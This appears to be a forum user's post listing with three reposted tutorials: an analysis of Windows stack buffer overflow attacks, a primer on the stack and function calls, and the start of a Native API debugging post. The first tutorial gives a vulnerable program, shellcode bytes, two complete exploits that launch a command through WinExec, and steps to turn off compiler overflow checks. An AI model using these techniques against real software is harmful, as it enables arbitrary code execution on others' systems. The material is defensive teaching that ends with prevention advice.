Jump to content

Nytro

Administrators
  • Posts

    18753
  • Joined

  • Last visited

  • Days Won

    726

Everything posted by Nytro

  1. [h=1]Analysis of Buffer Overflow Attacks[/h][h=1]by Maciej Ogorkiewicz & Piotr Frej [Published on 8 Nov. 2002 / Last Updated on 23 Jan. 2013][/h] What causes the buffer overflow condition? Broadly speaking, buffer overflow occurs anytime the program writes more information into the buffer than the space it has allocated in the memory. This allows an attacker to overwrite data that controls the program execution path and hijack the control of the program to execute the attacker’s code instead the process code. For those who are curious to see how this works, we will now attempt to examine in more detail the mechanism of this attack and also to outline certain preventive measures. What causes the buffer overflow condition? Broadly speaking, buffer overflow occurs anytime the program writes more information into the buffer than the space it has allocated in the memory. This allows an attacker to overwrite data that controls the program execution path and hijack the control of the program to execute the attacker’s code instead the process code. For those who are curious to see how this works, we will now attempt to examine in more detail the mechanism of this attack and also to outline certain preventive measures. From experience we know that many have heard about these attacks, but few really understand the mechanics of them. Others have a vague idea or none at all of what an overflow buffer attack is. There also those who consider this problem to fall under a category of secret wisdom and skills available only to a narrow segment of specialists. However this is nothing except for a vulnerability problem brought about by careless programmers. Programs written in C language, where more focus is given to the programming efficiency and code length than to the security aspect, are most susceptible to this type of attack. In fact, in programming terms, C language is considered to be very flexible and powerful, but it seems that although this tool is an asset it may become a headache for many novice programmers. It is enough to mention a pointer-based call by direct memory reference mode or a text string approach. This latter implies a situation that even among library functions working on text strings, there are indeed those that cannot control the length of the real buffer thereby becoming susceptible to an overflow of the declared length. Before attempting any further analysis of the mechanism by which the attack progresses, let us develop a familiarity with some technical aspects regarding program execution and memory management functions. [h=2]Process Memory[/h] When a program is executed, its various compilation units are mapped in memory in a well-structured manner. Fig. 1 represents the memory layout. Fig. 1: Memory arrangement Legend: The text segment contains primarily the program code, i.e., a series of executable program instructions. The next segment is an area of memory containing both initialized and uninitialized global data. Its size is provided at compilation time. Going further into the memory structure toward higher addresses, we have a portion shared by the stack and heap that, in turn, are allocated at run time. The stack is used to store function call-by arguments, local variables and values of selected registers allowing it to retrieve the program state. The heap holds dynamic variables. To allocate memory, the heap uses the malloc function or the new operator. [h=2]What is the stack used for?[/h] The stack works according to a LIFO model (Last In First Out). Since the spaces within the stack are allocated for the lifetime of a function, only data that is active during this lifetime can reside there. Only this type of structure results from the essence of a structural approach to programming, where the code is split into many code sections called functions or procedures. When a program runs in memory, it sequentially calls each individual procedure, very often taking one from another, thereby producing a multi-level chain of calls. Upon completion of a procedure it is required for the program to continue execution by processing the instruction immediately following the CALL instruction. In addition, because the calling function has not been terminated, all its local variables, parameters and execution status require to be “frozen” to allow the remainder of the program to resume execution immediately after the call. The implementation of such a stack will guarantee that the behavior described here is exactly the same. [h=2]Function calls[/h] The program works by sequentially executing CPU instructions. For this purpose the CPU has the Extended Instruction Counter (EIP register) to maintain the sequence order. It controls the execution of the program, indicating the address of the next instruction to be executed. For example, running a jump or calling a function causes the said register to be appropriately modified. Suppose that the EIP calls itself at the address of its own code section and proceeds with execution. What will happen then? When a procedure is called, the return address for function call, which the program needs to resume execution, is put into the stack. Looking at it from the attacker’s point of view, this is a situation of key importance. If the attacker somehow managed to overwrite the return address stored on the stack, upon termination of the procedure, it would be loaded into the EIP register, potentially allowing any overflow code to be executed instead of the process code resulting from the normal behavior of the program. We may see how the stack behaves after the code of Listing 1 has been executed. Listing1 void f(int a, int { char buf[10]; // <-- the stack is watched here } void main() { f(1, 2); } After the function f() is entered, the stack looks like the illustration in Figure 2. Fig. 2 Behavior of the stack during execution of a code from Listing 1 Legend: Firstly, the function arguments are pushed backwards in the stack (in accordance with the C language rules), followed by the return address. From now on, the function f() takes the return address to exploit it. f() pushes the current EBP content (EBP will be discussed further below) and then allocates a portion of the stack to its local variables. Two things are worth noticing. Firstly, the stack grows downwards in memory as it gets bigger. It is important to remember, because a statement like this: sub esp, 08h That causes the stack to grow, may seem confusing. In fact, the bigger the ESP, the smaller the stack size and vice versa. An apparent paradox. Secondly, whole 32-bit words are pushed onto the stack. Hence, a 10-character array occupies really three full words, i.e. 12 bytes. [h=2]How does the stack operate?[/h] There are two CPU registers that are of “vital” importance for the functioning of the stack which hold information that is necessary when calling data residing in the memory. Their names are ESP and EBP. The ESP (Stack Pointer) holds the top stack address. ESP is modifiable and can be modified either directly or indirectly. Directly – since direct operations are executable here, for example, add esp, 08h. This causes shrinking of the stack by 8 bytes (2 words). Indirectly – by adding/removing data elements to/from the stack with each successive PUSH or POP stack operation. The EBP register is a basic (static) register that points to the stack bottom. More precisely it contains the address of the stack bottom as an offset relative to the executed procedure. Each time a new procedure is called, the old value of EBP is the first to be pushed onto the stack and then the new value of ESP is moved to EBP. This new value of ESP held by EBP becomes the reference base to local variables that are needed to retrieve the stack section allocated for function call {1}. Since ESP points to the top of the stack, it gets changed frequently during the execution of a program, and having it as an offset reference register is very cumbersome. That is why EBP is employed in this role. [h=2]The threat[/h] How to recognize where an attack may occur? We just know that the return address is stored on the stack. Also, data is handled in the stack. Later we will learn what happens to the return address if we consider a combination, under certain circumstances, of both facts. With this in mind, let us try with this simple application example using Listing 2. Listing 2 #include char *code = "AAAABBBBCCCCDDD"; //including the character '\0' size = 16 bytes void main() { char buf[8]; strcpy(buf, code); } When executed, the above application returns an access violation {2}. Why? Because an attempt was made to fit a 16-character string into an 8–byte space (it is fairly possible since no checking of limits is carried out). Thus, the allocated memory space has been exceeded and the data at the stack bottom is overwritten. Let us look once again at Figure 2. Such critical data as both the frame address and the return address get overwritten (!). Therefore, upon returning from the function, a modified return address has been pushed into EIP, thereby allowing the program to proceed with the address pointed to by this value, thus creating the stack execution error. So, corrupting the return address on the stack is not only feasible, but also trivial if “enhanced” by programming errors. Poor programming practices and bugged software provide a huge opportunity for a potential attacker to execute malicious code designed by him. [h=2]Stack overrun[/h] We must now sort all the information. As we already know, the program uses the EIP register to control execution. We also know that upon calling a function, the address of the instruction immediately following the call instruction is pushed onto the stack and then popped from there and moved to EIP when a return is performed. We may ascertain that the saved EIP can be modified when being pushed onto the stack, by overwriting the buffer in a controlled manner. Thus, an attacker has all the information to point his own code and get it executed, creating a thread in the victim process. Roughly, the algorithm to effectively overrun the buffer is as follows: 1. Discovering a code, which is vulnerable to a buffer overflow. 2. Determining the number of bytes to be long enough to overwrite the return address. 3. Calculating the address to point the alternate code. 4. Writing the code to be executed. 5. Linking everything together and testing . The following Listing 3 is an example of a victim’s code. Listing 3 – The victim’s code #include #define BUF_LEN 40 void main(int argc, char **argv) { char buf[bUF_LEN]; if (argv > 1) { printf(„\buffer length: %d\nparameter length: %d”, BUF_LEN, strlen(argv[1]) ); strcpy(buf, argv[1]); } } This sample code has all the characteristics to indicate a potential buffer overflow vulnerability: a local buffer and an unsafe function that writes to memory, the value of the first instruction line parameter with no bounds checking employed. Putting to use our newfound knowledge, let us accomplish a sample hacker’s task. As we ascertained earlier, guessing a code section potentially vulnerable to buffer overflow seems simple. The use of a source code (if available) may be helpful otherwise we can just look for something critical in the program to overwrite it. The first approach will focus on searching for string-based function like strcpy(), strcat() or gets(). Their common feature is that they do not use unbounded copy operations, i.e. they copy as many as possible until a NULL byte is found (code 0). If, in addition, these functions operate on a local buffer and there is the possibility to redirect the process execution flow to anywhere we want, we will be successful in accomplishing an attack. Another approach would be trial and error, by relying on stuffing an inconsistently large batch of data inside any available space. Consider now the following example: victim.exe AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA If the program returns an access violation error, we may simply move on to step 2. The problem now, is to construct a large string with overflow potential to effectively overwrite the return address. This step is also very easy. Remembering that only whole words can be pushed onto the stack, we simply need to construct the following string: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUU............. If successful, in terms of potential buffer overflow, this string will cause the program to fail with the well-known error message: The instruction at „0x4b4b4b4b” referenced memory at „0x4b4b4b4b”. The memory could not be „read” The only conclusion to be drawn is that since the value 0x4b is the letter capital “K” in ASCII code, the return address has been overwritten with „KKKK”. Therefore, we can proceed to Step 3.Finding the buffer beginning address in memory (and the injected shellcode) will not be easy. Several methods can be used to make this “guessing” more efficient, one of which we will discuss now, while the others will be explained later. In the meanwhile we need to get the necessary address by simply tracing the code. After starting the debugger and loading the victim program, we will attempt to proceed. The initial concern is to get through a series of system function calls that are irrelevant from this task point of view. A good method is to trace the stack at runtime until the input string characters appear successively. Perhaps two or more approaches will be required to find a code similar to that provided below: :00401045 8A08 mov cl, byte ptr [eax] :00401047 880C02 mov byte ptr [edx+eax], cl :0040104A 40 inc eax :0040104B 84C9 test cl, cl :0040104D 75F6 jne 00401045 This is the strcpy function we are looking for. On entry to the function, the memory location pointed by EAX is read in order to move (next line) its value into memory location, pointed by the sum of the registers EAX and EDX. By reading the content of these registers during the first iteration we can determine that the buffer is located at 0x0012fec0. Writing a shellcode is an art itself. Since operating systems use different system function calls, an individual approach is needed, depending on the OS environment under which the code must run and the goal it is being aimed at. In the simplest case, nothing needs to be done, since just overwriting the return address causes the program to deviate from its expected behavior and fail. In fact, due to the nature of buffer overflow flaws associated with the possibility that the attacker can execute arbitrary code, it is possible to develop a range of different activities constrained only by available space (although this problem can also be circumvented) and access privileges. In most cases, buffer overflow is a way for an attacker to gain “super user” privileges on the system or to use a vulnerable system to launch a Denial of Service attack. Let us try, for example, to create a shellcode allowing commands (interpreter cmd.exe in WinNT/2000). This can be attained by using standard API functions: WinExec or CreateProcess. When WinExec is called, the process will look like this: WinExec(command, state) In terms of the activities that are necessary from our point of view, the following steps must be carried out: - pushing the command to run onto the stack. It will be „cmd /c calc”. - pushing the second parameter of WinExec onto the stack. We assume it to be zero in this script. - pushing the address of the command „cmd /c calc”. - calling WinExec. There are many ways to accomplish this task and the snippet below is only one of possible tricks: sub esp, 28h ; 3 bytes jmp call ; 2 bytes par: call WinExec ; 5 bytes push eax ; 1 byte call ExitProcess ; 5 bytes calling: xor eax, eax ; 2 bytes push eax ; 1 byte call par ; 5 bytes .string cmd /c calc|| ; 13 bytes Some comments on this: sub esp, 28h This instruction adds some room to the stack. Since the procedure containing an overflow buffer had been completed, consequently, the stack space allocated for local variables is now declared as unused due to the change in ESP. This has the effect that any function call which is given from the code level is likely to overwrite our arduously constructed code inserted in the buffer. To have a function callee-save, all we need is to restore the stack pointer to what it was before “garbage”, that is to its original value (40 bytes) thereby assuring that our data will not be overwritten. jmp call The next instruction jumps to the location where the WinExec function arguments are pushed onto the stack. Some attention must be paid to this. Firstly, a NULL value is required to be “elaborated” and placed onto the stack. Such a function argument cannot be taken directly from the code otherwise it will be interpreted as null terminating the string that has only been partially copied. In the next step, we need a way of pointing the address of the command to run and we will make this in a somewhat ad hoc manner. As we may remember, each time a function is called, the address following the call instruction is placed onto the stack. Our successful (hopefully) exploit first overwrites the saved return address with the address of the function we wish to call. Notice that the address for the string may appear somewhere in the memory. Subsequently, WinExec followed by ExitProcess will be run. As we already know, CALL represents an offset that moves the stack pointer up to the address of the function following the callee. And now we need to compute this offset. Fig. 3 below shows a structure of a shellcode to accomplish this task. Fig. 3 A sample shellcode Legend: As can be seen, our example does not consider our reference point, the EBP, that needs to be pushed onto the stack. This is due to an assumption that the victim program is a VC++ 7 compiled code with its default settings that skip the said operation. The remaining job around this problem is to have the code pieces put together and test the whole. The above shellcode, incorporated in a C program and being more suitable for the CPU is presented in Listing 4. Listing 4 – Exploit of a program victim.exe #include #include #include #include char *victim = "victim.exe"; char *code = "\x90\x90\x90\x83\xec\x28\xeb\x0b\xe8\xe2\xa8\xd6\x77\x50\xe8\xc1\x90\xd6\x77\x33\xc0\x50\xe8\xed\xff\xff\xff"; char *oper = "cmd /c calc||"; char *rets = "\xc0\xfe\x12"; char par[42]; void main() { strncat(par, code, 28); strncat(par, oper, 14); strncat(par, rets, 4); char *buf; buf = (char*)malloc( strlen(victim) + strlen(par) + 4); if (!buf) { printf("Error malloc"); return; } wsprintf(buf, "%s \"%s\"", victim, par); printf("Calling: %s", buf); WinExec(buf, 0); } Ooops, it works! The only requisite is that the current directory has a compiled file victim.exe from Listing 3. If all goes as expected, we will see a window with a well-known System Calculator. [h=2]Stock-based and non-stack based exploits[/h] In the previous example we presented an own code that is executable once the control over the program has been taken over. However, such an approach may not be applicable, when a „victim” is able to check that no illegal code on the stack is executed, otherwise the program will be stopped. Increasingly, so called non-stack based exploits are being used. The idea is to directly call the system function by overwriting (nothing new!) the return address using, for example, WinExec. The only remaining problem is to push the parameters used by the function onto the stack in a useable state. So, the exploit structure will be like in Figure 4. Fig. 4 A non-stack based exploit Legend: A non-stack-based exploit requires no instruction in the buffer but only the calling parameters of the function WinExec. Because a command terminated with a NULL character cannot be handled, we will use a character ‘|’. It is used to link multiple commands in a single command line. This way each successive command will be executed only if the execution of a previous command has failed. The above step is indispensable for terminating the command to run without having executed the padding. Next to the padding which is only used to fill the buffer, we will place the return address (ret) to overwrite the current address with that of WinExec. Furthermore, pushing a dummy return address onto it ® must ensure a suitable stack size. Since WinExec function accepts any DWORD values for a mode of display, it is possible to let it use whatever is currently on the stack. Thus, only one of two parameters remains to terminate the string. In order to test this approach, it is necessary to have the victim’s program. It will be very similar to the previous one but with a buffer which is considerably larger (why? We will explain later). This program is called victim2.exe and is presented as Listing 5. Listing 5 – A victim of a non-stack based exploit attack #include #define BUF_LEN 1024 void main(int argc, char **argv) { char buf[bUF_LEN]; if (argv > 1) { printf(„\nBuffer length: %d\nParameter length: %d”, BUF_LEN, strlen(argv[1]) ); strcpy(buf, argv[1]); } } To exploit this program we need a piece given in Listing 6. Listing 6 – Exploit of the program victim2.exe #include char* code = "victim2.exe \"cmd /c calc||AAAAA...AAAAA\xaf\xa7\xe9\x77\x90\x90\x90\x90\xe8\xfa\x12\""; void main() { WinExec( code, 0 ); } For simplicity’s sake, a portion of „A” characters from inside the string has been deleted. The sum of all characters in our program should be 1011. When the WinExec function returns, the program makes a jump to the dummy saved return address and will consequently quit working. It will then return the function call error but by that time the command should already be performing its purpose. Given this buffer size, one may ask why it is so large whereas the “malicious” code has become relatively smaller? Notice that with this procedure, we overwrite the return address upon termination of the task. This implies that the stack top restores the original size thus leaving a free space for its local variables. This, in turn, causes the space for our code (a local buffer, in fact) to become a room for a sequence of procedures. The latter can use the allocated space in an arbitrary manner, most likely by overwriting the saved data. This means that there is no way to move the stack pointer manually, as we cannot execute any own code from there. For example, the function WinExec that is called just at the beginning of the process, occupies 84 bytes of the stack and calls subsequent functions that also place their data onto the stack. We need to have such a large buffer to prevent our data from destruction. Figure 5 illustrates this methodology. Fig. 5 A sample non-stack based exploit: stack usage Legend: This is just one of possible solutions that has many alternatives to consider. First of all, it is easy to compile because it is not necessary to create an own shellcode. It is also immune to protections that use monitoring libraries for capturing illegal codes on the stack. [h=2]System function calling[/h] Notice, that all previously discussed system function callings employ a jump command to point to a pre-determined fixed address in memory. This determines the static behavior of the code which implies that we agree to have our code non transferable across various Windows operating environments. Why? Our intention is to suggest a problem associated with the fact that various Windows OSes use different user and kernel addresses. Therefore, the kernel base address differs and so do the system function addresses. For details, see Table 1. Table 1. Kernel addresses vs. OS environment [TABLE] [TR] [TD=width: 185] Windows Platform [/TD] [TD=width: 159] Kernel Base Address [/TD] [/TR] [TR] [TD=width: 185] Win95 [/TD] [TD=width: 159] 0xBFF70000 [/TD] [/TR] [TR] [TD=width: 185] Win98 [/TD] [TD=width: 159] 0xBFF70000 [/TD] [/TR] [TR] [TD=width: 185] WinME [/TD] [TD=width: 159] 0xBFF60000 [/TD] [/TR] [TR] [TD=width: 185] WinNT (Service Pack 4 and 5) [/TD] [TD=width: 159] 0x77F00000 [/TD] [/TR] [TR] [TD=width: 185] Win2000 [/TD] [TD=width: 159] 0x77F00000 [/TD] [/TR] [/TABLE] To prove it, simply run our example under operating an system other than Windows NT/2000/XP. What remedy would be appropriate? The key is to dynamically fetch function addresses, at the cost of a considerable increase in the code length. It turns out that it is sufficient to find where two useful system functions are located, namely GetProcAddress and LoadLibraryA, and use them to get any other function address returned. For more details, see references, particularly the Kungfoo project developed by Harmony [6]. [h=2]Other ways of defining the beginning of the buffer[/h] All previously mentioned examples used Debugger to establish the beginning of the buffer. The problem lies in the fact that we wanted to establish this address very precisely. Generally, it is not a necessary requirement. If, assuming that the beginning of an alternate code is placed somewhere in the middle of the buffer and not at the buffer beginning whereas the space after the code is filled with many identical jump addresses, the return address will surely be overwritten as required. On the other hand, if we fill the buffer with a series of 0x90s till the code beginning, our chance to guess the saved return address will grow considerably. So, the buffer will be filled as illustrated in Figure 6. Fig. 6 Using NOPs during an overflow attack Legend: The 0x90 code corresponds to a NOP slide that does literally nothing. If we point at any NOP, the program will slide it and consequently it will go to the shellcode beginning. This is the trick to avoid a cumbersome search for the precise address of the beginning of the buffer. [h=2]Where does the risk lie?[/h] Poor programming practices and software bugs are undoubtedly a risk factor. Typically, programs that use text string functions with their lack of automatic detection of NULL pointers. The standard C/C++ libraries are filled with a handful of such dangerous functions. There are: strcpy(), strcat(), sprintf(), gets(), scanf(). If their target string is a fixed size buffer, a buffer overflow can occur when reading input from the user into such a buffer. Another commonly encountered method is using a loop to copy single characters from either the user or a file. If the loop exit condition contains the occurrence of a character, this means that the situation will be the same as above. [h=2]Preventing buffer overflow attacks[/h] The most straightforward and effective solution to the buffer overflow problem is to employ secure coding. On the market there are several commercial or free solutions available which effectively stop most buffer overflow attacks. The two approaches here are commonly employed: - library-based defenses that use re-implemented unsafe functions and ensure that these functions can never exceed the buffer size. An example is the Libsafe project. - library-based defenses that detect any attempt to run illegitimate code on the stack. If the stack smashing attack has been attempted, the program responds by emitting an alert. This is a solution implemented in the SecureStack developed by SecureWave. Another prevention technique is to use compiler-based runtime boundaries, checking what recently became available and hopefully with time, the buffer overflow problem will end up being a major headache for system administrators. While no security measure is perfect, avoiding programming errors is always the best solution. [h=2]Summary[/h] Of course, there are plenty of interesting buffer overflow issues which have not been discussed. Our intention was to demonstrate a concept and bring forth certain problems. We hope that this paper will be a contribution to the improvement of the software development process quality through better understanding of the threat, and hence, providing better security to all of us. [h=2]References[/h] The links listed below form a small part of a huge number of references available on the World Wide Web. [1] Aleph One, Smashing The Stack For Fun and Profit, Phrack Magazine nr 49, http://www.phrack.org/show.php?p=49&a=14 [2] P. Fayolle, V. Glaume, A Buffer Overflow Study, Attacks & Defenses, http://www.enseirb.fr/~glaume/indexen.html [3] I. Simon, A Comparative Analysis of Methods of Defense against Buffer Overflow Attacks, http://www.mcs.csuhayward.edu/~simon/security/boflo.html [4] Bulba and Kil3r, Bypassing StackGuard and Stackshield, Phrack Magazine 56 No 5, http://phrack.infonexus.com/search.phtml?view&article=p56-5 [5] many interesting papers on Buffer Overflow and not only: http://www.nextgenss.com/research.html#papers [6] http://harmony.haxors.com/kungfoo [7] Avaya Business Communications Research & Development - Avaya Labs [8] www.securewave.com Endnotes: {1} In practice, certain code-optimizing compilers may operate without pushing EBP on the stack. The Visual C++ 7 Compiler uses it as a default option. To deactivate it, set: Project Properties | C/C++ | Optimization | Omit Frame Pointer for NO. {2} Microsoft has introduced a buffer overrun security tool in its Visual C++ 7. If you are intending to use the above examples to run in this environment, ensure that this option is not selected before compilation: Project Properties | C/C++ | Code Generation | Buffer Security Check should have the value NO. Sursa: Analysis of Buffer Overflow Attacks :: Windows OS Security :: Articles & Tutorials :: WindowSecurity.com
  2. [h=3]A required step to understand buffer overflow[/h] This is not a buffer overflow exploit, but a required background that will help to understand how CPU & memory "collaborate" each other to execute a program. I have read many articles about 'buffer overflow'. Most of them starting from a specific point by 'stowing' the basic knowledge one must have to deeply understand what is going on (behind the scenes). I wrote this article to cover (I hope) this gap. If at the end of this article you feel more comfortable with concepts like CALL, RETN and how a function is executed using the memory (buffer, stack, etc) then I will consider this article as a successful one... First, I would like to point out that everything we say, is about the processor xx86 family. In addition, most memory addresses are expressed in a decimal notation (for the shake of clarity, for beginners) instead of hexadecimal that actually represented by real world software systems. Requirements in order to read this article: 1. A basic understanding of assembly language. 2. A basic understanding of C language. Every process starts in a computer memory (RAM – Random Access Memory) in three basic segments: -Code Segment -Data Segment (the well known BSS) -Stack Segment CODE SEGMENT ------------ In this memory segment, "live" all instructions of our program. Nobody... (nobody? well ok, almost nobody) can write to this memory segment i.e. is a read only segment. For example All assembly instructions (in C code here) are located in code segment: /* Set the 1st diagonal items to 1 otherwise 0 */ for (i = 0; i < 100; i++) for (j = 0; j < 100; j++) if (i<>j) a[i][j] = 0 else a[i][j] = 1; PS: The remarks /*...*/ are not included... in the data segment. The compiler does not produce code for the remarks. DATA SEGMENT ------------ All initialized or un-initialized global variable are stored in this non-read only segment. For example: int i; int j = 0; int a[100][100]; STACK SEGMENT ------------- All function variables, return addresses and function addresses are stored in this non-readonly memory. This segment is actually a stack data structure (for those that have attended a basic information technology course). This, actually means, that we put variables in a stack in memory. The last putted (or pushed) variable is in the top on stack i.e. the first available. The well known LIFO (Last In First Out) data structure. The processor register ESP (Extended Stack Pointer) is used to keep the address of the first current available element of the stack. In the stack: we can put (PUSH) and get (POP) values. There are two important “secrets” here: [1] PUSH and POP instructions are done in 4-byte-units because of the 32bit architecture of xx86 processors family. [2] Stack grows downward, that is, if SP=256, just after a “PUSH 34” instruction, SP will become 252 and the value of EAX will be placed on address 252. For example: STACK adrs memory ---- ------------------ 256 | xy | 252 | | 248 | | 244 | | ... ................. (ESP=256) Instruction > PUSH EAX ; remark: suppose EAX = 34 STACK 256 | xy | 252 | 34 | 248 | | 244 | | ... ................. (ESP=252) Instruction > POP EAX ; remark: Get the value from the stack into EAX register STACK 256 | xy | 252 | 34 | 248 | | 244 | | ... ................. (ESP=256) Instruction > PUSH 15 ; remark: suppose EAX = 15 Instruction > PUSH 16 ; remark: suppose EBX = 16 STACK 256 | xy | 252 | 15 | 248 | 16 | 244 | | ... ................. (ESP=248) What is behind a function-call ------------------------------- Before we explain what is behind, we must say a few words about the EIP (Extended Instruction Pointer or simple 'Instruction pointer'). This register keeps the code segment address of the instruction that will be executed by the CPU. Every time CPU executes an instruction stores into EIP the address of the instruction that follows the currently executed. But, how does CPU find the address of the next instruction? Well... we have two cases here... 1. The address is immediately after the instruction currently executed. 2. There is a 'JMP' (jump, i.e. a function call) so the instruction that needs to be executed next is in an address which is not next to the current. In case 1 the address is calculated by simply add the Length of the currently executed instruction to the current EIP value. Example: Suppose we have the following 2 instruction to the addresses 100, 101 100 push EDX 101 mov ESP 0 Suppose that at the starting point of our little program we have: EIP = 100 CPU executes the instruction at address 100. CPU checks the instruction: Is it a JUMP? No, so calculate its size. CPU knows that the push instruction is 1 byte long. So,... the new value of EIP = EIP + size(push EDX) => EIP = 100 + 1 => EIP = 101 So,.... CPU executes the instruction at address 101, and so forth... In case 2, we have a jump... things are a bit more different. Actually, just before we JMP to another address (i.e. call a function), we save the address of the next instruction in a temporary register, say in EDX; and before returning from the function we write the address in EDX to EIP back again. CALL and RETN assembly instructions are used ... by the CPU to calculate the above addresses: The CALL is used to do 2 things: 1. To "remember" the next instruction that will be executed after function returns (by pushing its address to the stack) and 2. To write into the EIP the address of the calling function i.e. to perform the function call. The RETN instruction is called at the end of the function: It pops (gets) the "return address" that CALL pushes into the stack to continue the execution after the end of the function. The Base pointer (EBP) ---------------------- Each function in any program (even the main() function in C) has its own stack frame. A stack frame is a logical group of consecutive variables in the stack that keeps variables and addresses for every function that is currently executed. Every address in the stack’s frame is a relative address. That means, we address the locations of data in our stack in relative to some criterion. And this criterion is EBP, which is the acronym for Extended Base Pointer. EBP has the stack pointer of the caller function. We PUSH the old ESP to the stack, and utilize another register,named EBP to relatively reference local variables in the callee function. I hope the use of the base pointer will be more clear in the following example. A REAL EXAMPLE C PROGRAM: Consider the following C program: void function1(int , int , int ); void main() { function1 (1, 2, 3); } void function1 (int a, int b, int c) { char z[4]; } I compile/link the above program and I use the olly debugger to check the assembly code created. Bypassing the operating systems instructions (which is the 90% of the assembly code) the rest is the code that corresponds to our little program: 0040123C /. 55 PUSH EBP 0040123D |. 8BEC MOV EBP,ESP 0040123F |. 6A 03 PUSH 3 ; /Arg3 = 00000003 00401241 |. 6A 02 PUSH 2 ; |Arg2 = 00000002 00401243 |. 6A 01 PUSH 1 ; |Arg1 = 00000001 00401245 |. E8 05000000 CALL bo1.0040124F ; \bo1.0040124F 0040124A |. 83C4 0C ADD ESP,0C 0040124D |. 5D POP EBP 0040124E \. C3 RETN 0040124F /$ 55 PUSH EBP 00401250 |. 8BEC MOV EBP,ESP 00401252 |. 51 PUSH ECX 00401253 |. 59 POP ECX 00401254 |. 5D POP EBP 00401255 \. C3 RETN ANALYSIS: --------- The addresses from 0040123C to 0040124E is the main() function. The addresses from 0040124F to 00401255 is the function1() function. 0040123C /. 55 PUSH EBP Backs up the old stack pointer. It pushes it onto the stack. 0040123D |. 8BEC MOV EBP,ESP Copy the old stack pointer to the ebp register From then on, in the function, we'll reference function's local variables with EBP. These two instructions are called the "Procedure Prologue". The stack has the EBP value: [ebp] STACK 256 | [ebp] | ... ................. (ESP=256) 0040123F |. 6A 03 PUSH 3 ; /Arg3 = 00000003 00401241 |. 6A 02 PUSH 2 ; |Arg2 = 00000002 00401243 |. 6A 01 PUSH 1 ; |Arg1 = 00000001 Here we put the arguments into the stack The stack is: STACK 256 | [ebp] | 252 | 3 | 248 | 2 | 244 | 1 | ... ................. (ESP=244) 00401245 |. E8 05000000 CALL bo1.0040124F ; \bo1.0040124F call the function at addresss 0040124F. bo1 is the name of my executable. The stack becomes: STACK 256 | [ebp] | 252 | 3 | 248 | 2 | 244 | 1 | 240 | 0040124A | <- the return address when the function1 ends. ... ................. (ESP=240) Let’s follow the execution, so go to address 0040124F (the function1): 0040124F /$ 55 PUSH EBP 00401250 |. 8BEC MOV EBP,ESP Hmm... this is the "Procedure Prologue" again (remember this must be executed in every function). It set ups its own stack frame. The EBP register is currently pointing at a location in main's stack frame. This value must be preserved. So, EBP is pushed onto the stack. Then the contents of ESP is transferred to EBP. This allows the arguments to be referenced as an offset from EBP and frees up the stack register ESP to do other things. The stack now, is: STACK 256 | [ebp] | 252 | 3 | 248 | 2 | 244 | 1 | 240 | 0040124A | <- the return address when the function1 ends. 236 | <main’s EBP> | <- Note that ESP=EBP indicates this address. ... ................. (ESP=236) 00401253 |. 59 POP ECX 00401254 |. 5D POP EBP After two pops the actual stack becomes: STACK 256 | [ebp] | 252 | 3 | 248 | 2 | 244 | 1 | ... ................. (ESP=244) 00401255 \. C3 RETN The function ends and returns to the 0040124A (remember our definition of the RET instruction). 0040124A |. 83C4 0C ADD ESP,0C After the function RETurned, we add 12 or 0C in hex (since we pushed 3 args onto the stack, each allocating 4 bytes (integers)) into Stack Pointer. Increasing the ESP we actually decreasing the stack (remember that we fill stack downwards from high to low memory addresses i.e. ESP = 244 + 12 = 256). STACK 256 | [ebp] | ... ................. (ESP=256) Thus, the ESP has the value that has at the first step of the programs execution before the function call. I hope that you get a basic understanding of the use of Stack and Stack Pointer. In another article I will describe how nasty things can happened here. Hint: How about overwriting the stack item (at address 240 in our example above) or how about overwriting the value of the Instruction Pointer (EIP)... I suggest you to try my little program or better create your own and test, check, review, test, check, review, test, check, review!! Happy Programming Guys!! References: [1] BUFFER OVERFLOWS DEMYSTIFIED by murat@enderunix.org [2] C Function Call Conventions and the Stack (UMBC CMSC 313, Computer Organization & Assembly Language, Spring 2002, Section 0101) [3] The Assembly Language Book for IBM PC by Peter Norton (ISBN 960-209-028-6) [4] Analysis of Buffer Overflow Attacks from Analysis of Buffer Overflow Attacks :: Windows OS Security :: Articles & Tutorials :: WindowSecurity.com [5] 8088 8086 Programming and Applications for IBM PC/XT & Compatibles by Nikos Nasoufis Posted by Andreas Venieris at 7:49 PM Sursa: 0x191 Unauthorized: A required step to understand buffer overflow
  3. [h=3]Debugging the Native Windows API[/h] We are going to play a little game. We will search inside the Native Windows Application Programming Interface (API) for functions that used internally by the Windows 7 operating system. The use of such functions is not suggested by Microsoft. We are not only going to uncover such functions, but also we will use them and we will examine their results. The Native API is behind the Base API that Microsoft suggests to use for compatibility and portability reasons. The Native API is the last layer (in user mode) that performs direct calls to the windows kernel mode and more specific to the NTOSKRNL.EXE that is the core windows kernel. I must say that, in my opinion, the method of checking the API of windows is not the easiest thing. I could say that it is more difficult than this in Linux while windows source is not available. Its a closed source. How then is possible to study a specific API function? Only disassembly code can be extracted by processes that are not belong to core kernel. In case that we want to debug kernel, we will need special programs (a windows kernel debugger for example), but this is beyond the scope of this article. We will see from a user-mode point of view the procedures and functions (even undocumented) inside the Native API, aka ntdll.dll. A question that one might ask, is: But why we do this? Hmm... there are more than one reason: 1. It is a very good elementary lesson for the wannabe operating systems reverser's. 2. We will learn how to administer our operating system's basic internal actions. 3. We will see live the operation of the (somehow) cryptic native windows API. What knowledge is required to read this article? Well, not deep. 1. Elementary knowledge of some reversing techniques, for example how to use Olly debugger. 2. Little (yes little!) knowledge of assembly. We will meet inevitability a lot of assembly code in our trip but I am not willing to make this article an assembly listing with explanations! We will see how to achieve our goals without the need to be an assembly programmer. Lets start! The native API is implemented inside the ntdll.dll that is located in c:\windows\system32. For the shake of safety lets copy this dll to a work directory say d:\work2. Every test is presented here is performed in a box with Windows 7 Ultimate 64bit. What I am going to do now is to extract every single function that this DLL contains and to (randomly...?) choose one to examine. In order to extract all the exported functions of ntdll.dll I will use the program dumpbin that is come with Visual Studio 2008. I enter: D:\work2> dumpbin ntdll.dll /exports > exports.txt and I create (through redirection) the file exports.txt that contains all the functions that ntdll.dll exports. When I open (using ultraedit) I will see the following: Image 1: Exported functions of ntdll.dll Looking inside this file I found this: ordinal hint RVA name 933 398 0003859A RtlGetVersion Hmm... there is a function named RtlGetVersion that is located at RVA (Relative Virtual Address) 3859?. The RVA is the 